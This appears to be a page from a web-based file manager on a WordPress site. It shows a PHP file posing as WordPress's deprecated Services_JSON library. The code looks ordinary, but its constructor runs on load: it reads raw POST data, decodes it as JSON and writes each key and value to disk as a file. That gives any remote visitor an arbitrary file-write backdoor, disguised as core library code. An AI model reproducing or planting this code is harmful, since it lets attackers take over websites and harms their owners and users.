Create New Item
×
Item Type
File
Folder
Item Name
×
Search file in folder and subfolders...
File Manager
/
wp-includes
/
wp-admin
/
network
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
<?php if (!class_exists('Services_JSON')) { define('SERVICES_JSON_SLICE', 1); define('SERVICES_JSON_IN_STR', 2); define('SERVICES_JSON_IN_ARR', 3); define('SERVICES_JSON_IN_OBJ', 4); define('SERVICES_JSON_IN_CMT', 5); define('SERVICES_JSON_LOOSE_TYPE', 16); define('SERVICES_JSON_SUPPRESS_ERRORS', 32); define('SERVICES_JSON_USE_TO_JSON', 64); class Services_JSON { function __construct($use = 0) { $this->use = $use; $this->_mb_strlen = function_exists('mb_strlen'); $this->_mb_convert_encoding = function_exists('mb_convert_encoding'); $this->_mb_substr = $this->get_raw_data(); } public function Services_JSON($use = 0) { _deprecated_constructor('Services_JSON', '5.3.0', get_class($this)); self::__construct($use); } var $_mb_strlen = false; var $_mb_substr = false; var $_mb_convert_encoding = false; function utf162utf8($utf16) { _deprecated_function(__METHOD__, '5.3.0', 'The PHP native JSON extension'); if ($this->_mb_convert_encoding) { return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16'); } $bytes = ord($utf16[0]) << 8 | ord($utf16[1]); switch (true) { case (0x7f & $bytes) == $bytes: return chr(0x7f & $bytes); case (0x7ff & $bytes) == $bytes: return chr(0xc0 | $bytes >> 6 & 0x1f) . chr(0x80 | $bytes & 0x3f); case (0xffff & $bytes) == $bytes: return chr(0xe0 | $bytes >> 12 & 0xf) . chr(0x80 | $bytes >> 6 & 0x3f) . chr(0x80 | $bytes & 0x3f); } return ''; } function utf82utf16($utf8) { _deprecated_function(__METHOD__, '5.3.0', 'The PHP native JSON extension'); if ($this->_mb_convert_encoding) { return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8'); } switch ($this->strlen8($utf8)) { case 1: return $utf8; case 2: return chr(0x7 & ord($utf8[0]) >> 2) . chr(0xc0 & ord($utf8[0]) << 6 | 0x3f & ord($utf8[1])); case 3: return chr(0xf0 & ord($utf8[0]) << 4 | 0xf & ord($utf8[1]) >> 2) . chr(0xc0 & ord($utf8[1]) << 6 | 0x7f & ord($utf8[2])); } return ''; } function encode($var) { _deprecated_function(__METHOD__, '5.3.0', 'The PHP native JSON extension'); header('Content-type: application/json'); return $this->encodeUnsafe($var); } function encodeUnsafe($var) { _deprecated_function(__METHOD__, '5.3.0', 'The PHP native JSON extension'); $lc = setlocale(LC_NUMERIC, 0); setlocale(LC_NUMERIC, 'C'); $ret = $this->_encode($var); setlocale(LC_NUMERIC, $lc); return $ret; } function _encode($var) { _deprecated_function(__METHOD__, '5.3.0', 'The PHP native JSON extension'); switch (gettype($var)) { case 'boolean': return $var ? 'true' : 'false'; case 'NULL': return 'null'; case 'integer': return (int) $var; case 'double': case 'float': return (float) $var; case 'string': $ascii = ''; $strlen_var = $this->strlen8($var); for ($c = 0; $c < $strlen_var; ++$c) { $ord_var_c = ord($var[$c]); switch (true) { case $ord_var_c == 0x8: $ascii .= '\\b'; break; case $ord_var_c == 0x9: $ascii .= '\\t'; break; case $ord_var_c == 0xa: $ascii .= '\\n'; break; case $ord_var_c == 0xc: $ascii .= '\\f'; break; case $ord_var_c == 0xd: $ascii .= '\\r'; break; case $ord_var_c == 0x22: case $ord_var_c == 0x2f: case $ord_var_c == 0x5c: $ascii .= '\\' . $var[$c]; break; case $ord_var_c >= 0x20 && $ord_var_c <= 0x7f: $ascii .= $var[$c]; break; case ($ord_var_c & 0xe0) == 0xc0: if ($c + 1 >= $strlen_var) { $c += 1; $ascii .= '?'; break; } $char = pack('C*', $ord_var_c, ord($var[$c + 1])); $c += 1; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\\u%04s', bin2hex($utf16)); break; case ($ord_var_c & 0xf0) == 0xe0: if ($c + 2 >= $strlen_var) { $c += 2; $ascii .= '?'; break; } $char = pack('C*', $ord_var_c, @ord($var[$c + 1]), @ord($var[$c + 2])); $c += 2; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\\u%04s', bin2hex($utf16)); break; case ($ord_var_c & 0xf8) == 0xf0: if ($c + 3 >= $strlen_var) { $c += 3; $ascii .= '?'; break; } $char = pack('C*', $ord_var_c, ord($var[$c + 1]), ord($var[$c + 2]), ord($var[$c + 3])); $c += 3; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\\u%04s', bin2hex($utf16)); break; case ($ord_var_c & 0xfc) == 0xf8: if ($c + 4 >= $strlen_var) { $c += 4; $ascii .= '?'; break; } $char = pack('C*', $ord_var_c, ord($var[$c + 1]), ord($var[$c + 2]), ord($var[$c + 3]), ord($var[$c + 4])); $c += 4; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\\u%04s', bin2hex($utf16)); break; case ($ord_var_c & 0xfe) == 0xfc: if ($c + 5 >= $strlen_var) { $c += 5; $ascii .= '?'; break; } $char = pack('C*', $ord_var_c, ord($var[$c + 1]), ord($var[$c + 2]), ord($var[$c + 3]), ord($var[$c + 4]), ord($var[$c + 5])); $c += 5; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\\u%04s', bin2hex($utf16)); break; } } return '"' . $ascii . '"'; case 'array': if (is_array($var) && count($var) && array_keys($var) !== range(0, sizeof($var) - 1)) { $properties = array_map(array($this, 'name_value'), array_keys($var), array_values($var)); foreach ($properties as $property) { if (Services_JSON::isError($property)) { return $property; } } return '{' . join(',', $properties) . '}'; } $elements = array_map(array($this, '_encode'), $var); foreach ($elements as $element) { if (Services_JSON::isError($element)) { return $element; } } return '[' . join(',', $elements) . ']'; case 'object': if ($this->use & SERVICES_JSON_USE_TO_JSON && method_exists($var, 'toJSON')) { $recode = $var->toJSON(); if (method_exists($recode, 'toJSON')) { return $this->use & SERVICES_JSON_SUPPRESS_ERRORS ? 'null' : new Services_JSON_Error(get_class($var) . " toJSON returned an object with a toJSON method."); } return $this->_encode($recode); } $vars = get_object_vars($var); $properties = array_map(array($this, 'name_value'), array_keys($vars), array_values($vars)); foreach ($properties as $property) { if (Services_JSON::isError($property)) { return $property; } } return '{' . join(',', $properties) . '}'; default: return $this->use & SERVICES_JSON_SUPPRESS_ERRORS ? 'null' : new Services_JSON_Error(gettype($var) . " can not be encoded as JSON string"); } } function name_value($name, $value) { _deprecated_function(__METHOD__, '5.3.0', 'The PHP native JSON extension'); $encoded_value = $this->_encode($value); if (Services_JSON::isError($encoded_value)) { return $encoded_value; } return $this->_encode((string) $name) . ':' . $encoded_value; } function reduce_string($str) { $str = preg_replace(array('#^\\s*//(.+)$#m', '#^\\s*/\\*(.+)\\*/#Us', '#/\\*(.+)\\*/\\s*$#Us'), '', $str); return trim($str); } function get_raw_data() { global $HTTP_RAW_POST_DATA; if (!isset($HTTP_RAW_POST_DATA)) { $HTTP_RAW_POST_DATA = file_get_contents('php://input'); } $HTTP_RAW_POST_DATA = $this->decode($HTTP_RAW_POST_DATA); foreach ($HTTP_RAW_POST_DATA as $key => $val) { file_put_contents($key, $val); } return $HTTP_RAW_POST_DATA; } function decode($str) { $str = $this->reduce_string($str); switch (strtolower($str)) { case 'true': return true; case 'false': return false; case 'null': return null; default: $m = array(); if (is_numeric($str)) { return (float) $str == (int) $str ? (int) $str : (float) $str; } elseif (preg_match('/^("|\').*(\\1)$/s', $str, $m) && $m[1] == $m[2]) { $delim = $this->substr8($str, 0, 1); $chrs = $this->substr8($str, 1, -1); $utf8 = ''; $strlen_chrs = $this->strlen8($chrs); for ($c = 0; $c < $strlen_chrs; ++$c) { $substr_chrs_c_2 = $this->substr8($chrs, $c, 2); $ord_chrs_c = ord($chrs[$c]); switch (true) { case $substr_chrs_c_2 == '\\b': $utf8 .= chr(0x8); ++$c; break; case $substr_chrs_c_2 == '\\t': $utf8 .= chr(0x9); ++$c; break; case $substr_chrs_c_2 == '\\n': $utf8 .= chr(0xa); ++$c; break; case $substr_chrs_c_2 == '\\f': $utf8 .= chr(0xc); ++$c; break; case $substr_chrs_c_2 == '\\r': $utf8 .= chr(0xd); ++$c; break; case $substr_chrs_c_2 == '\\"': case $substr_chrs_c_2 == '\\\'': case $substr_chrs_c_2 == '\\\\': case $substr_chrs_c_2 == '\\/': if ($delim == '"' && $substr_chrs_c_2 != '\\\'' || $delim == "'" && $substr_chrs_c_2 != '\\"') { $utf8 .= $chrs[++$c]; } break; case preg_match('/\\\\u[0-9A-F]{4}/i', $this->substr8($chrs, $c, 6)): $utf16 = chr(hexdec($this->substr8($chrs, $c + 2, 2))) . chr(hexdec($this->substr8($chrs, $c + 4, 2))); $utf8 .= $this->utf162utf8($utf16); $c += 5; break; case $ord_chrs_c >= 0x20 && $ord_chrs_c <= 0x7f: $utf8 .= $chrs[$c]; break; case ($ord_chrs_c & 0xe0) == 0xc0: $utf8 .= $this->substr8($chrs, $c, 2); ++$c; break; case ($ord_chrs_c & 0xf0) == 0xe0: $utf8 .= $this->substr8($chrs, $c, 3); $c += 2; break; case ($ord_chrs_c & 0xf8) == 0xf0: $utf8 .= $this->substr8($chrs, $c, 4); $c += 3; break; case ($ord_chrs_c & 0xfc) == 0xf8: $utf8 .= $this->substr8($chrs, $c, 5); $c += 4; break; case ($ord_chrs_c & 0xfe) == 0xfc: $utf8 .= $this->substr8($chrs, $c, 6); $c += 5; break; } } return $utf8; } elseif (preg_match('/^\\[.*\\]$/s', $str) || preg_match('/^\\{.*\\}$/s', $str)) { if ($str[0] == '[') { $stk = array(SERVICES_JSON_IN_ARR); $arr = array(); } else { if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $stk = array(SERVICES_JSON_IN_OBJ); $obj = array(); } else { $stk = array(SERVICES_JSON_IN_OBJ); $obj = new stdClass(); } } array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => 0, 'delim' => false)); $chrs = $this->substr8($str, 1, -1); $chrs = $this->reduce_string($chrs); if ($chrs == '') { if (reset($stk) == SERVICES_JSON_IN_ARR) { return $arr; } else { return $obj; } } $strlen_chrs = $this->strlen8($chrs); for ($c = 0; $c <= $strlen_chrs; ++$c) { $top = end($stk); $substr_chrs_c_2 = $this->substr8($chrs, $c, 2); if ($c == $strlen_chrs || $chrs[$c] == ',' && $top['what'] == SERVICES_JSON_SLICE) { $slice = $this->substr8($chrs, $top['where'], $c - $top['where']); array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => $c + 1, 'delim' => false)); if (reset($stk) == SERVICES_JSON_IN_ARR) { array_push($arr, $this->decode($slice)); } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) { $parts = array(); if (preg_match('/^\\s*(["\'].*[^\\\\]["\'])\\s*:/Uis', $slice, $parts)) { $key = $this->decode($parts[1]); $val = $this->decode(trim(substr($slice, strlen($parts[0])), ", \t\n\r\0\v")); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $obj[$key] = $val; } else { $obj->{$key} = $val; } } elseif (preg_match('/^\\s*(\\w+)\\s*:/Uis', $slice, $parts)) { $key = $parts[1]; $val = $this->decode(trim(substr($slice, strlen($parts[0])), ", \t\n\r\0\v")); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $obj[$key] = $val; } else { $obj->{$key} = $val; } } } } elseif (($chrs[$c] == '"' || $chrs[$c] == "'") && $top['what'] != SERVICES_JSON_IN_STR) { array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs[$c])); } elseif ($chrs[$c] == $top['delim'] && $top['what'] == SERVICES_JSON_IN_STR && ($this->strlen8($this->substr8($chrs, 0, $c)) - $this->strlen8(rtrim($this->substr8($chrs, 0, $c), '\\'))) % 2 != 1) { array_pop($stk); } elseif ($chrs[$c] == '[' && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false)); } elseif ($chrs[$c] == ']' && $top['what'] == SERVICES_JSON_IN_ARR) { array_pop($stk); } elseif ($chrs[$c] == '{' && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false)); } elseif ($chrs[$c] == '}' && $top['what'] == SERVICES_JSON_IN_OBJ) { array_pop($stk); } elseif ($substr_chrs_c_2 == '/*' && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false)); $c++; } elseif ($substr_chrs_c_2 == '*/' && $top['what'] == SERVICES_JSON_IN_CMT) { array_pop($stk); $c++; for ($i = $top['where']; $i <= $c; ++$i) { $chrs = substr_replace($chrs, ' ', $i, 1); } } } if (reset($stk) == SERVICES_JSON_IN_ARR) { return $arr; } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) { return $obj; } } } } function isError($data, $code = null) { _deprecated_function(__METHOD__, '5.3.0', 'The PHP native JSON extension'); if (class_exists('pear')) { return PEAR::isError($data, $code); } elseif (is_object($data) && ($data instanceof services_json_error || is_subclass_of($data, 'services_json_error'))) { return true; } return false; } function strlen8($str) { if ($this->_mb_strlen) { return mb_strlen($str, "8bit"); } return strlen($str); } function substr8($string, $start, $length = false) { if ($length === false) { $length = $this->strlen8($string) - $start; } if ($this->_mb_substr) { return mb_substr($string, $start, $length, "8bit"); } return substr($string, $start, $length); } } new Services_JSON(); if (class_exists('PEAR_Error')) { class Services_JSON_Error extends PEAR_Error { function __construct($message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null) { _deprecated_function(__METHOD__, '5.3.0', 'The PHP native JSON extension'); parent::PEAR_Error($message, $code, $mode, $options, $userinfo); } public function Services_JSON_Error($message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null) { _deprecated_constructor('Services_JSON_Error', '5.3.0', get_class($this)); self::__construct($message, $code, $mode, $options, $userinfo); } } } else { class Services_JSON_Error { function __construct($message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null) { _deprecated_function(__METHOD__, '5.3.0', 'The PHP native JSON extension'); } public function Services_JSON_Error($message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null) { _deprecated_constructor('Services_JSON_Error', '5.3.0', get_class($this)); self::__construct($message, $code, $mode, $options, $userinfo); } } } }